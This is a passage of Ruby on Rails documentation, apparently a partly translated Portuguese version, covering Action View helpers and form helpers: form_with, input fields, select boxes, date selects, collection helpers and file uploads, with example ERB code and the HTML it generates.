strip_tags("Strip <i>these</i> tags!") # => Strip these tags! Copiar

strip_tags("<b>Bold</b> no more!  <a href='more.html'>See more</a>")
# => Bold no more!  See more

strip_tags("<b>Bold</b> no more! <a href='more.html'>See more</a>") # => Bold no more! See more Copiar

NB: The output may still contain unescaped '<', '>', '&' characters and confuse browsers.

1.12 UrlHelper

Provides methods to make links and get URLs that depend on the routing subsystem.

1.12.1 url_for

Returns the URL for the set of options provided.

1.12.1.1 Examples

url_for @profile
# => /profiles/1

url_for [ @hotel, @booking, page: 2, line: 3 ]
# => /hotels/1/bookings/1?line=3&page=2

url_for @profile # => /profiles/1 url_for [ @hotel, @booking, page: 2, line: 3 ] # => /hotels/1/bookings/1?line=3&page=2 Copiar

1.12.2 link_to

Links to a URL derived from url_for under the hood. Primarily used to create RESTful resource links, which for this example, boils down to when passing models to link_to.

Examples

link_to "Profile", @profile
# => <a href="/profiles/1">Profile</a>

link_to "Profile", @profile # => <a href="/profiles/1">Profile</a> Copiar

You can use a block as well if your link target can't fit in the name parameter. ERB example:

<%= link_to @profile do %>
<strong><%= @profile.name %></strong> -- <span>Check it out!</span>
<% end %>

<%= link_to @profile do %> <strong><%= @profile.name %></strong> -- <span>Check it out!</span> <% end %> Copiar

would output:

<a href="/profiles/1">
<strong>David</strong> -- <span>Check it out!</span>
</a>

<a href="/profiles/1"> <strong>David</strong> -- <span>Check it out!</span> </a> Copiar

See the API Documentation for more information

1.12.3 button_to

Generates a form that submits to the passed URL. The form has a submit button with the value of the name.

1.12.3.1 Examples

<%= button_to "Sign in", sign_in_path %>

<%= button_to "Sign in", sign_in_path %> Copiar

would roughly output something like:

<form method="post" action="/sessions" class="button_to">
<input type="submit" value="Sign in" />
</form>

<form method="post" action="/sessions" class="button_to"> <input type="submit" value="Sign in" /> </form> Copiar

See the API Documentation for more information

1.13 CsrfHelper

Returns meta tags "csrf-param" and "csrf-token" with the name of the cross-site request forgery protection parameter and token, respectively.

<%= csrf_meta_tags %>

<%= csrf_meta_tags %> Copiar

Regular forms generate hidden fields so they do not use these tags. More details can be found in the Rails Security Guide.

Action View Form Helpers — Ruby on...

1 Trabalhando com formulários básicos.

O principal auxiliar de formulário (form helper) é o form_with.

<%= form_with do |form| %>
Conteúdo do formulário
<% end %>

<%= form_with do |form| %> Conteúdo do formulário <% end %> Copiar

Quando chamado sem nenhum argumento como este, é criado uma tag de formulário que, quando enviado, fará uma requisição HTTP usando o verbo POST para a página atual. Por exemplo, supondo que a página atual seja a inicial, o HTML gerado terá a seguinte aparência:

<form accept-charset="UTF-8" action="/" method="post">
<input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" />
Form contents
</form>

<form accept-charset="UTF-8" action="/" method="post"> <input name="authenticity_token" type="hidden" value="J7CBxfHalt49OSHp27hblqK20c9PgwJ108nDHX/8Cts=" /> Form contents </form> Copiar

Note que o HTML contém um elemento input do tipo hidden. Este input é importante porque os formulários não podem ser enviados com sucesso sem ele, exceto formulários com método GET. Esse elemento oculto com o nome authenticity_token é um recurso de segurança do Rails chamado proteção contra falsificação de solicitação entre sites (cross-site request forgery protection), e os helpers de formulário o geram para todos os formulários não GET (desde que esse recurso de segurança esteja ativado). Você poderá ler mais sobre isso no guia Segurança em Aplicações Rails.

1.1 Formulário de pesquisa genérica

Um dos formulários mais básicos que você vê na web é um formulário de pesquisa. Este formulário contém:

- Um input de formulário com o método GET.

- Um label para entrada.

- Um input de entrada de texto.

- Um input de envio.

Para criar este formulário você usará form_with e o objeto para contrução de formulário que o método nos dá. Como o exemplo abaixo:

<%= form_with url: "/search", method: :get do |form| %>
<%= form.label :query, "Search for:" %>
<%= form.text_field :query %>
<%= form.submit "Search" %>
<% end %>

<%= form_with url: "/search", method: :get do |form| %> <%= form.label :query, "Search for:" %> <%= form.text_field :query %> <%= form.submit "Search" %> <% end %> Copiar

Isso irá gerar o seguinte HTML:

<form action="/search" method="get" accept-charset="UTF-8" >
<label for="query">Search for:</label>
<input id="query" name="query" type="text" />
<input name="commit" type="submit" value="Search" data-disable-with="Search" />
</form>

<form action="/search" method="get" accept-charset="UTF-8" > <label for="query">Search for:</label> <input id="query" name="query" type="text" /> <input name="commit" type="submit" value="Search" data-disable-with="Search" /> </form> Copiar

Passando url: my_speccified_path para form_with indica ao formulário onde fazer a requisição. No entanto, conforme explicado abaixo, você também pode passar objetos ActiveRecord para o formulário.

Para cada entrada de formulário, um atributo ID é gerado a partir de seu nome ("query" no exemplo acima). Esses IDs podem ser muito úteis para estilizar CSS ou manipular controles de formulário com JavaScript.

Use "GET" como o método para buscas em formulários. Isso permitirá aos usuários marcar uma busca específica e depois retornar nessa mesma busca. De forma geral, o Rails recomenda que você utilize o verbo correto para a ação desejada.

1.2 Helpers para gerar elementos de formulário

O objeto construtor de formulário gerado pelo form_with fornece vários métodos auxiliares para gerar elementos de formulário, como campos de texto, caixas de seleção (checkboxes) e botões de rádio (radio buttons). O primeiro parâmetro para esses métodos é sempre o nome do input. Quando o formulário for enviado, o nome será passado junto com os dados do formulário e será direcionado para params o controlador com o valor inserido pelo usuário para esse campo. Por exemplo, se o formulário contiver <%= form.text_field :query %>, podendo obter o valor deste campo no controlador com params[:query] .

Ao nomear entradas, o Rails usa certas convenções que possibilitam enviar parâmetros com valores não escalares, como matrizes ou hashes, que também estarão acessíveis params. Poderá ser lido mais sobre eles no capítulo Noções básicas sobre convenções de nomenclatura de parâmetros deste guia. Para detalhes de como usar com precisão esses auxiliares, consulte a documentação da API.

1.2.1 Checkboxes Caixas de seleção

As caixas de seleção são controles de formulário que fornecem ao usuário um conjunto de opções que podem ser ativados ou desativados pelo usuário.

<%= form.check_box :pet_dog %>
<%= form.label :pet_dog, "I own a dog" %>
<%= form.check_box :pet_cat %>
<%= form.label :pet_cat, "I own a cat" %>

<%= form.check_box :pet_dog %> <%= form.label :pet_dog, "I own a dog" %> <%= form.check_box :pet_cat %> <%= form.label :pet_cat, "I own a cat" %> Copiar

Isso gera o seguinte:

<input type="checkbox" id="pet_dog" name="pet_dog" value="1" />
<label for="pet_dog">I own a dog</label>
<input type="checkbox" id="pet_cat" name="pet_cat" value="1" />
<label for="pet_cat">I own a cat</label>

<input type="checkbox" id="pet_dog" name="pet_dog" value="1" /> <label for="pet_dog">I own a dog</label> <input type="checkbox" id="pet_cat" name="pet_cat" value="1" /> <label for="pet_cat">I own a cat</label> Copiar

O primeiro parâmetro para check_box, é o nome da entrada. O segundo parâmetro, é o valor da entrada. Este valor será incluído nos dados do formulário (e está presente em params) quando a caixa de seleção estiver marcada.

1.2.2 Radio Buttons Botões de opção

Os botões de opção embora semelhantes às caixas de seleção, são controles que especificam um conjunto de opções mutuamente exclusivos (ou seja, o usuário pode escolher apenas uma).

<%= form.radio_button :age, "child" %>
<%= form.label :age_child, "I am younger than 21" %>
<%= form.radio_button :age, "adult" %>
<%= form.label :age_adult, "I am over 21" %>

<%= form.radio_button :age, "child" %> <%= form.label :age_child, "I am younger than 21" %> <%= form.radio_button :age, "adult" %> <%= form.label :age_adult, "I am over 21" %> Copiar

Resultado:

<input type="radio" id="age_child" name="age" value="child" />
<label for="age_child">I am younger than 21</label>
<input type="radio" id="age_adult" name="age" value="adult" />
<label for="age_adult">I am over 21</label>

<input type="radio" id="age_child" name="age" value="child" /> <label for="age_child">I am younger than 21</label> <input type="radio" id="age_adult" name="age" value="adult" /> <label for="age_adult">I am over 21</label> Copiar

Assim como check_box, o segundo parâmetro para radio_button é o valor da entrada. Como esses dois botões compartilham o mesmo nome (age), o usuário poderá selecionar apenas um deles, e params[:age] receberá "child" ou "adult".

Sempre use labels para a caixa de seleção e botões de opção. Eles associam o texto a uma opção específica e, ao expandir a região clicável, facilita o clique dos usuários nas entradas.

1.3 Outros auxiliares interessantes

Outros controles de formulários que valem a pena falar são áreas de texto, campos ocultos, campos de senha, campos de número, campos de data e hora e muitos outros:

<%= form.text_area :message, size: "70x5" %>
<%= form.hidden_field :parent_id, value: "foo" %>
<%= form.password_field :password %>
<%= form.number_field :price, in: 1.0..20.0, step: 0.5 %>
<%= form.range_field :discount, in: 1..100 %>
<%= form.date_field :born_on %>
<%= form.time_field :started_at %>
<%= form.datetime_local_field :graduation_day %>
<%= form.month_field :birthday_month %>
<%= form.week_field :birthday_week %>
<%= form.search_field :name %>
<%= form.email_field :address %>
<%= form.telephone_field :phone %>
<%= form.url_field :homepage %>
<%= form.color_field :favorite_color %>

<%= form.text_area :message, size: "70x5" %> <%= form.hidden_field :parent_id, value: "foo" %> <%= form.password_field :password %> <%= form.number_field :price, in: 1.0..20.0, step: 0.5 %> <%= form.range_field :discount, in: 1..100 %> <%= form.date_field :born_on %> <%= form.time_field :started_at %> <%= form.datetime_local_field :graduation_day %> <%= form.month_field :birthday_month %> <%= form.week_field :birthday_week %> <%= form.search_field :name %> <%= form.email_field :address %> <%= form.telephone_field :phone %> <%= form.url_field :homepage %> <%= form.color_field :favorite_color %> Copiar

Resultado:

<textarea name="message" id="message" cols="70" rows="5"></textarea>
<input type="hidden" name="parent_id" id="parent_id" value="foo" />
<input type="password" name="password" id="password" />
<input type="number" name="price" id="price" step="0.5" min="1.0" max="20.0" />
<input type="range" name="discount" id="discount" min="1" max="100" />
<input type="date" name="born_on" id="born_on" />
<input type="time" name="started_at" id="started_at" />
<input type="datetime-local" name="graduation_day" id="graduation_day" />
<input type="month" name="birthday_month" id="birthday_month" />
<input type="week" name="birthday_week" id="birthday_week" />
<input type="search" name="name" id="name" />
<input type="email" name="address" id="address" />
<input type="tel" name="phone" id="phone" />
<input type="url" name="homepage" id="homepage" />
<input type="color" name="favorite_color" id="favorite_color" value="#000000" />

<textarea name="message" id="message" cols="70" rows="5"></textarea> <input type="hidden" name="parent_id" id="parent_id" value="foo" /> <input type="password" name="password" id="password" /> <input type="number" name="price" id="price" step="0.5" min="1.0" max="20.0" /> <input type="range" name="discount" id="discount" min="1" max="100" /> <input type="date" name="born_on" id="born_on" /> <input type="time" name="started_at" id="started_at" /> <input type="datetime-local" name="graduation_day" id="graduation_day" /> <input type="month" name="birthday_month" id="birthday_month" /> <input type="week" name="birthday_week" id="birthday_week" /> <input type="search" name="name" id="name" /> <input type="email" name="address" id="address" /> <input type="tel" name="phone" id="phone" /> <input type="url" name="homepage" id="homepage" /> <input type="color" name="favorite_color" id="favorite_color" value="#000000" /> Copiar

Entradas ocultas não são exibidas ao usuário, mas retêm dados como qualquer entrada de texto. Os valores dentro deles podem ser alterados com JavaScript.

As entradas de pesquisa, telefone, data, hora, cor, data e hora local e data, mês, semana, URL, email, número e intervalo são controles HTML5. Se você precisar que sua aplicação tenha uma experiência consistente em navegadores antigos, precisará de um polyfill HTML5 (fornecido por css e/ou JavaScript). Definiticamente, não faltam soluções disponíveis, embora uma ferramenta popular no momento seja o Modernizr, que fornece uma maneira simples de adicionar funcionalidade com base na presença de recursos HTML5 detectados.

Se você estiver usando campos de entradas de senha (para qualquer finalidade), convêm configurar sua aplicação para impedir que esses parâmetros sejam registrados. Você pode aprender sobre este assunto no guia Protegendo aplicações Rails

2 Trabalhando com Objetos Model

2.1 Vinculando um Formulário a um Objeto

O argumento :model do form_with nos permite ligar o objeto construtor de um formulário a um objeto model. Isso significa que o escopo do formulário será aquele objeto model e os campos do formulário serão preenchidos com valores desse objeto.

Por exemplo, se temos um objeto model como @article:

@article = Article.find(42)
# => #<Article id: 42, title: "My Title", body: "My Body">

@article = Article.find(42) # => #<Article id: 42, title: "My Title", body: "My Body"> Copiar

O seguinte formulário:

<%= form_with model: @article do |form| %>
<%= form.text_field :title %>
<%= form.text_area :body, size: "60x10" %>
<%= form.submit %>
<% end %>

<%= form_with model: @article do |form| %> <%= form.text_field :title %> <%= form.text_area :body, size: "60x10" %> <%= form.submit %> <% end %> Copiar

Cria o seguinte código:

<form action="/articles/42" method="post" accept-charset="UTF-8" >
<input name="authenticity_token" type="hidden" value="..." />
<input type="text" name="article[title]" id="article_title" value="My Title" />
<textarea name="article[body]" id="article_body" cols="60" rows="10">
My Body
</textarea>
<input type="submit" name="commit" value="Update Article" data-disable-with="Update Article">
</form>

<form action="/articles/42" method="post" accept-charset="UTF-8" > <input name="authenticity_token" type="hidden" value="..." /> <input type="text" name="article[title]" id="article_title" value="My Title" /> <textarea name="article[body]" id="article_body" cols="60" rows="10"> My Body </textarea> <input type="submit" name="commit" value="Update Article" data-disable-with="Update Article"> </form> Copiar

Existem algumas coisas a serem observadas aqui:

- A action do formulário é automaticamente preenchida com um valor apropriado para @article.

- Os campos do formulário são preenchidos automaticamente com os valores correspondentes do @article.

- Os nomes dos campos do formulário têm como escopo article[...]. Isso significa que params[:article] será um hash contendo todos os valores desses campos. Você pode ler mais sobre a importância dos nomes de entradas no capítulo Entendendo as Convenções de Nomeação de Parâmetros deste guia.

- O botão de envio (submit) recebe automaticamente um valor de texto apropriado.

Convencionalmente, suas entradas espelharão os atributos do model. No entanto, eles não precisam! Se houver outras informações de que você precisa, você pode incluí-las em seu formulário da mesma forma que os atributos e acessá-las via params[:article][:my_nifty_non_attribute_input].

2.1.1 O auxiliar fields_for

Você pode criar uma vinculação semelhante sem realmente criar uma tag <form> com o helper fields_for. Isso é útil para editar objetos model adicionais com o mesmo formulário. Por exemplo, se você tem um model Person vinculado à um model ContactDetail, você pode criar um formulário para criar os dois, assim:

<%= form_with model: @person do |person_form| %>
<%= person_form.text_field :name %>
<%= fields_for :contact_detail, @person.contact_detail do |contact_detail_form| %>
<%= contact_detail_form.text_field :phone_number %>
<% end %>
<% end %>

<%= form_with model: @person do |person_form| %> <%= person_form.text_field :name %> <%= fields_for :contact_detail, @person.contact_detail do |contact_detail_form| %> <%= contact_detail_form.text_field :phone_number %> <% end %> <% end %> Copiar

que produz a seguinte saída:

<form action="/people" accept-charset="UTF-8" method="post">
<input type="hidden" name="authenticity_token" value="bL13x72pldyDD8bgtkjKQakJCpd4A8JdXGbfksxBDHdf1uC0kCMqe2tvVdUYfidJt0fj3ihC4NxiVHv8GVYxJA==" />
<input type="text" name="person[name]" id="person_name" />
<input type="text" name="contact_detail[phone_number]" id="contact_detail_phone_number" />
</form>

<form action="/people" accept-charset="UTF-8" method="post"> <input type="hidden" name="authenticity_token" value="bL13x72pldyDD8bgtkjKQakJCpd4A8JdXGbfksxBDHdf1uC0kCMqe2tvVdUYfidJt0fj3ihC4NxiVHv8GVYxJA==" /> <input type="text" name="person[name]" id="person_name" /> <input type="text" name="contact_detail[phone_number]" id="contact_detail_phone_number" /> </form> Copiar

O objeto produzido por fields_for é um construtor de formulário igual ao produzido por form_with.

2.2 Confiando na Identificação de Registro

O model Article está disponível para os usuários da aplicação, portanto - seguindo as melhores praticas para desenvolvimento com Rails - você deve declará-lo um recurso (resource):

resources :articles

resources :articles Copiar

Declarar um recurso tem vários efeitos colaterais. Consulte o guia Rotas do Rails de Fora pra Dentro para obter mais informações como configurar e usar recursos.

Ao lidar com recursos RESTful, as chamadas de form_with ficam significativamente mais fáceis se você contar com a identificação de registros. Resumindo, você pode apenas passar a instância do modelo e fazer com que o Rails descubra o nome do modelo e o resto:

## Creating a new article
# long-style:
form_with(model: @article, url: articles_path)
# short-style:
form_with(model: @article)

## Editing an existing article
# long-style:
form_with(model: @article, url: article_path(@article), method: "patch")
# short-style:
form_with(model: @article)

## Creating a new article # long-style: form_with(model: @article, url: articles_path) # short-style: form_with(model: @article) ## Editing an existing article # long-style: form_with(model: @article, url: article_path(@article), method: "patch") # short-style: form_with(model: @article) Copiar

Observe como a chamada de estilo abreviado form_with é convenientemente a mesma, independentemente de o registro ser novo ou existente. A identificação de registros é inteligente o suficiente para descobrir se o registro é novo, chamando record.persisted?. Ele também seleciona o caminho correto para enviar e o nome com base na classe do objeto.

Quando você está usando herança de tabela única (STI ou single-table inheritance) em seus objetos model, você não pode confiar na identificação de registro em uma subclasse se apenas sua classe pai for declarada um recurso. Você terá que especificar :url, e :scope (o nome do model) explicitamente.

2.2.1 Trabalhando com Namespaces

Se você criou rotas com namespaces, form_with tem uma abreviatura bacana para isso também. Se o seu aplicativo tiver um namespace de administrador,

form_with model: [:admin, @article]

form_with model: [:admin, @article] Copiar

irá criar um formulário que submete ao ArticlesController dentro do namespace do administrador (submetendo a admin_article_path(@article) no caso de uma atualização). Se você tiver vários níveis de namespacing, a sintaxe será semelhante:

form_with model: [:admin, :management, @article]

form_with model: [:admin, :management, @article] Copiar

Para mais informações sobre o sistema de roteamento Rails e as convenções associadas, consulte o guia Rotas do Rails de Fora pra Dentro.

2.3 Como os formulários funcionam com os métodos PATCH, PUT, ou DELETE?

O framework Rails incentiva o design RESTful de seus aplicativos, o que significa que você fará muitas requisições "PATCH", "PUT", e "DELETE" (além de "GET" e "POST"). Entretanto, a maioria dos navegadores não suportam métodos diferentes de "GET" e "POST" quando se trata de envio de formulários.

O Rails contorna esse problema emulando outros métodos no POST com uma entrada oculta "_method", que é definida para refletir o método desejado:

form_with(url: search_path, method: "patch")

form_with(url: search_path, method: "patch") Copiar

Resultado:

<form accept-charset="UTF-8" action="/search" method="post">
<input name="_method" type="hidden" value="patch" />
<input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
...
</form>

<form accept-charset="UTF-8" action="/search" method="post"> <input name="_method" type="hidden" value="patch" /> <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" /> ... </form> Copiar

Ao analisar os dados submetidos pelo POST, o Rails levará em consideração o parâmetro especial _method e agirá como se o método HTTP fosse aquele especificado dentro dele ("PATCH" nesse exemplo).

No Rails 6.0 e 5.2, todos os formulários usando form_with implementam remote: true por padrão. Esses formulários enviarão dados usando requisições XHR (Ajax). Para desabilitar isso, inclua local: true. Para se aprofundar, veja o guia Trabalhando com JavaScript no Rails.

3 Criando Caixas de Seleção (Select Boxes) com Facilidade

As caixas de seleção em HTML requerem uma quantidade significativa de marcação, um elemento <option> para cada opção de escolha. Então o Rails provê métodos auxiliares para reduzir esse fardo.

Por exemplo, digamos que temos uma lista de cidades para o usuário escolher. Podemos usar o auxiliar select assim:

<%= form.select :city, ["Berlin", "Chicago", "Madrid"] %>

<%= form.select :city, ["Berlin", "Chicago", "Madrid"] %> Copiar

que gera:

<select name="city" id="city">
<option value="Berlin">Berlin</option>
<option value="Chicago">Chicago</option>
<option value="Madrid">Madrid</option>
</select>

<select name="city" id="city"> <option value="Berlin">Berlin</option> <option value="Chicago">Chicago</option> <option value="Madrid">Madrid</option> </select> Copiar

Também podemos designar valores para <option> que diferem de seus rótulos:

<%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %>

<%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %> Copiar

que gera:

<select name="city" id="city">
<option value="BE">Berlin</option>
<option value="CHI">Chicago</option>
<option value="MD">Madrid</option>
</select>

<select name="city" id="city"> <option value="BE">Berlin</option> <option value="CHI">Chicago</option> <option value="MD">Madrid</option> </select> Copiar

Desta forma, o usuário verá o nome completo da cidade, mas params[: city] será um dos tipos "BE", "CHI" ou "MD".

Por último, podemos especificar uma escolha padrão para a caixa de seleção com o argumento :selected:

<%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]], selected: "CHI" %>

<%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]], selected: "CHI" %> Copiar

que gera:

<select name="city" id="city">
<option value="BE">Berlin</option>
<option value="CHI" selected="selected">Chicago</option>
<option value="MD">Madrid</option>
</select>

<select name="city" id="city"> <option value="BE">Berlin</option> <option value="CHI" selected="selected">Chicago</option> <option value="MD">Madrid</option> </select> Copiar

3.1 Grupos de Opção

Em alguns casos, podemos querer melhorar a experiência do usuário agrupando opções relacionadas. Podemos fazer isso passando um Hash (ou Array compatível) para select:

<%= form.select :city,
{
"Europe" => [ ["Berlin", "BE"], ["Madrid", "MD"] ],
"North America" => [ ["Chicago", "CHI"] ],
},
selected: "CHI" %>

<%= form.select :city, { "Europe" => [ ["Berlin", "BE"], ["Madrid", "MD"] ], "North America" => [ ["Chicago", "CHI"] ], }, selected: "CHI" %> Copiar

que gera:

<select name="city" id="city">
<optgroup label="Europe">
<option value="BE">Berlin</option>
<option value="MD">Madrid</option>
</optgroup>
<optgroup label="North America">
<option value="CHI" selected="selected">Chicago</option>
</optgroup>
</select>

<select name="city" id="city"> <optgroup label="Europe"> <option value="BE">Berlin</option> <option value="MD">Madrid</option> </optgroup> <optgroup label="North America"> <option value="CHI" selected="selected">Chicago</option> </optgroup> </select> Copiar

3.2 Caixas de Seleção (Select Boxes) com Objetos Model

Como outros formulários, uma caixa de seleção pode ser associada a um atributo de model. Por exemplo, se tivermos um objeto model @person como:

@person = Person.new(city: "MD")

@person = Person.new(city: "MD") Copiar

O seguinte formulário:

<%= form_with model: @person do |form| %>
<%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %>
<% end %>

<%= form_with model: @person do |form| %> <%= form.select :city, [["Berlin", "BE"], ["Chicago", "CHI"], ["Madrid", "MD"]] %> <% end %> Copiar

produz um resultado semelhante a:

<select name="person[city]" id="person_city">
<option value="BE">Berlin</option>
<option value="CHI">Chicago</option>
<option value="MD" selected="selected">Madrid</option>
</select>

<select name="person[city]" id="person_city"> <option value="BE">Berlin</option> <option value="CHI">Chicago</option> <option value="MD" selected="selected">Madrid</option> </select> Copiar

Observe que a opção apropriada foi marcada automaticamente como selected=" selected". Visto que esta caixa de seleção estava ligada a um model, não precisamos especificar um argumento :selected!

3.3 Fuso horário e Seleção de País

Para usar o suporte de fuso horário no Rails, você tem que perguntar aos seus usuários em que fuso horário eles estão. Fazer isso exigiria a geração de opções selecionadas de uma lista de objetos ActiveSupport::TimeZone usando collection_select, mas você pode simplesmente usar o helper time_zone_select que já resolve isto:

<%= form.time_zone_select :time_zone %>

<%= form.time_zone_select :time_zone %> Copiar

O Rails tinha um helper country_select para escolher os países, mas foi extraído para o plugin country_select.

4 Usando Form Helpers para Data e Hora

Se você não deseja usar os helpers de formulário que geram campos de data e hora em HTML5, o Rails fornece helpers de data e hora alternativos que renderizam formulários em texto simples. Esses helpers renderizam uma caixa de seleção para cada componente de tempo (por exemplo, ano, mês, dia, etc.). Por exemplo, se tivermos um objeto de model @person como:

@person = Person.new(birth_date: Date.new(1995, 12, 21))

@person = Person.new(birth_date: Date.new(1995, 12, 21)) Copiar

O seguinte formulário:

<%= form_with model: @person do |form| %>
<%= form.date_select :birth_date %>
<% end %>

<%= form_with model: @person do |form| %> <%= form.date_select :birth_date %> <% end %> Copiar

vai gerar algo como:

<select name="person[birth_date(1i)]" id="person_birth_date_1i">
<option value="1990">1990</option>
<option value="1991">1991</option>
<option value="1992">1992</option>
<option value="1993">1993</option>
<option value="1994">1994</option>
<option value="1995" selected="selected">1995</option>
<option value="1996">1996</option>
<option value="1997">1997</option>
<option value="1998">1998</option>
<option value="1999">1999</option>
<option value="2000">2000</option>
</select>
<select name="person[birth_date(2i)]" id="person_birth_date_2i">
<option value="1">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12" selected="selected">December</option>
</select>
<select name="person[birth_date(3i)]" id="person_birth_date_3i">
<option value="1">1</option>
...
<option value="21" selected="selected">21</option>
...
<option value="31">31</option>
</select>

<select name="person[birth_date(1i)]" id="person_birth_date_1i"> <option value="1990">1990</option> <option value="1991">1991</option> <option value="1992">1992</option> <option value="1993">1993</option> <option value="1994">1994</option> <option value="1995" selected="selected">1995</option> <option value="1996">1996</option> <option value="1997">1997</option> <option value="1998">1998</option> <option value="1999">1999</option> <option value="2000">2000</option> </select> <select name="person[birth_date(2i)]" id="person_birth_date_2i"> <option value="1">January</option> <option value="2">February</option> <option value="3">March</option> <option value="4">April</option> <option value="5">May</option> <option value="6">June</option> <option value="7">July</option> <option value="8">August</option> <option value="9">September</option> <option value="10">October</option> <option value="11">November</option> <option value="12" selected="selected">December</option> </select> <select name="person[birth_date(3i)]" id="person_birth_date_3i"> <option value="1">1</option> ... <option value="21" selected="selected">21</option> ... <option value="31">31</option> </select> Copiar

Observe que, quando o formulário for enviado, não haverá um único valor no hash params que contenha a data completa. Em vez disso, haverá vários valores com nomes especiais como "birth_date(1i) ". O Active Record sabe como reunir esses valores com nomes especiais em uma data ou hora completa, com base no tipo declarado do atributo do model. Portanto, podemos passar params [:person] para, por exemplo, Person.new ou Person#update exatamente como faríamos se o formulário usasse um único campo para representar a data completa.

Além do auxiliar date_select, o Rails provê os auxiliares time_select e datetime_select.

4.1 Caixas de Sseleção (Select Boxes) para Componentes Indiduais de Tempo

O Rails também fornece auxiliares para renderizar caixas de seleção para componentes temporais individuais: select_year, select_month, select_day, select_hour, select_minute, and select_second. Esses auxiliares são métodos "básicos", o que significa que não são chamados em uma instância do construtor de formulários. Por exemplo:

<%= select_year 1999, prefix: "party" %>

<%= select_year 1999, prefix: "party" %> Copiar

Cria uma caixa de seleção como essa:

<select name="party[year]" id="party_year">
<option value="1994">1994</option>
<option value="1995">1995</option>
<option value="1996">1996</option>
<option value="1997">1997</option>
<option value="1998">1998</option>
<option value="1999" selected="selected">1999</option>
<option value="2000">2000</option>
<option value="2001">2001</option>
<option value="2002">2002</option>
<option value="2003">2003</option>
<option value="2004">2004</option>
</select>

<select name="party[year]" id="party_year"> <option value="1994">1994</option> <option value="1995">1995</option> <option value="1996">1996</option> <option value="1997">1997</option> <option value="1998">1998</option> <option value="1999" selected="selected">1999</option> <option value="2000">2000</option> <option value="2001">2001</option> <option value="2002">2002</option> <option value="2003">2003</option> <option value="2004">2004</option> </select> Copiar

Para cada um desses auxiliares, você pode especificar um objeto de data ou hora em vez de um número como o valor padrão e o componente temporal apropriado será extraído e usado.

5 Choices from a Collection of Arbitrary Objects

Often, we want to generate a set of choices in a form from a collection of objects. For example, when we want the user to choose from cities in our database, and we have a City model like:

City.order(:name).to_a
# => [
#      #<City id: 3, name: "Berlin">,
#      #<City id: 1, name: "Chicago">,
#      #<City id: 2, name: "Madrid">
#    ]

City.order(:name).to_a # => [ # #<City id: 3, name: "Berlin">, # #<City id: 1, name: "Chicago">, # #<City id: 2, name: "Madrid"> # ] Copiar

Rails provides helpers that generate choices from a collection without having to explicitly iterate over it. These helpers determine the value and text label of each choice by calling specified methods on each object in the collection.

5.1 The collection_select Helper

To generate a select box for our cities, we can use collection_select:

<%= form.collection_select :city_id, City.order(:name), :id, :name %>

<%= form.collection_select :city_id, City.order(:name), :id, :name %> Copiar

Output:

<select name="city_id" id="city_id">
<option value="3">Berlin</option>
<option value="1">Chicago</option>
<option value="2">Madrid</option>
</select>

<select name="city_id" id="city_id"> <option value="3">Berlin</option> <option value="1">Chicago</option> <option value="2">Madrid</option> </select> Copiar

With collection_select we specify the value method first (:id in the example above), and the text label method second (:name in the example above). This is opposite of the order used when specifying choices for the select helper, where the text label comes first and the value second.

5.2 The collection_radio_buttons Helper

To generate a set of radio buttons for our cities, we can use collection_radio_buttons:

<%= form.collection_radio_buttons :city_id, City.order(:name), :id, :name %>

<%= form.collection_radio_buttons :city_id, City.order(:name), :id, :name %> Copiar

Output:

<input type="radio" name="city_id" value="3" id="city_id_3">
<label for="city_id_3">Berlin</label>
<input type="radio" name="city_id" value="1" id="city_id_1">
<label for="city_id_1">Chicago</label>
<input type="radio" name="city_id" value="2" id="city_id_2">
<label for="city_id_2">Madrid</label>

<input type="radio" name="city_id" value="3" id="city_id_3"> <label for="city_id_3">Berlin</label> <input type="radio" name="city_id" value="1" id="city_id_1"> <label for="city_id_1">Chicago</label> <input type="radio" name="city_id" value="2" id="city_id_2"> <label for="city_id_2">Madrid</label> Copiar

5.3 The collection_check_boxes Helper

To generate a set of check boxes for our cities (which allows users to choose more than one), we can use collection_check_boxes:

<%= form.collection_check_boxes :city_id, City.order(:name), :id, :name %>

<%= form.collection_check_boxes :city_id, City.order(:name), :id, :name %> Copiar

Output:

<input type="checkbox" name="city_id[]" value="3" id="city_id_3">
<label for="city_id_3">Berlin</label>
<input type="checkbox" name="city_id[]" value="1" id="city_id_1">
<label for="city_id_1">Chicago</label>
<input type="checkbox" name="city_id[]" value="2" id="city_id_2">
<label for="city_id_2">Madrid</label>

<input type="checkbox" name="city_id[]" value="3" id="city_id_3"> <label for="city_id_3">Berlin</label> <input type="checkbox" name="city_id[]" value="1" id="city_id_1"> <label for="city_id_1">Chicago</label> <input type="checkbox" name="city_id[]" value="2" id="city_id_2"> <label for="city_id_2">Madrid</label> Copiar

6 Enviando Arquivos

Uma tarefa muito comum é fazer o envio de arquivos, seja a imagem de uma pessoa ou um arquivo CSV contendo dados a serem processados. Campos para upload de arquivos podem ser renderizados com o auxiliar file_field. O mais importante a se lembrar quando se faz envio de arquivos é que o atributo enctype do formulário renderizado deve ser "multipart/form-data". Se você usar form_with com :model, isso é feito automaticamente:

<%= form_with model: @person do |form| %>
<%= form.file_field :picture %>
<% end %>

<%= form_with model: @person do |form| %> <%= form.file_field :picture %> <% end %> Copiar

Se você usar form_with sem o :model, você deve preencher os campos:

<%= form_with url: "/uploads", multipart: true do |form| %>
<%= form.file_field :picture %>
<% end %>

<%= form_with url: "/uploads", multipart: true do |form| %> <%= form.file_field :picture %> <% end %> Copiar

Observe que, de acordo com as convenções do form_with, os nomes dos campos nas duas formas acima também serão diferentes. Ou seja, o nome do campo no primeiro formulário será person[picture] (acessível via params[:person][:picture]), e o nome do campo no segundo formulário será apenas picture (acessível via params[:picture]).

6.1 O que é enviado

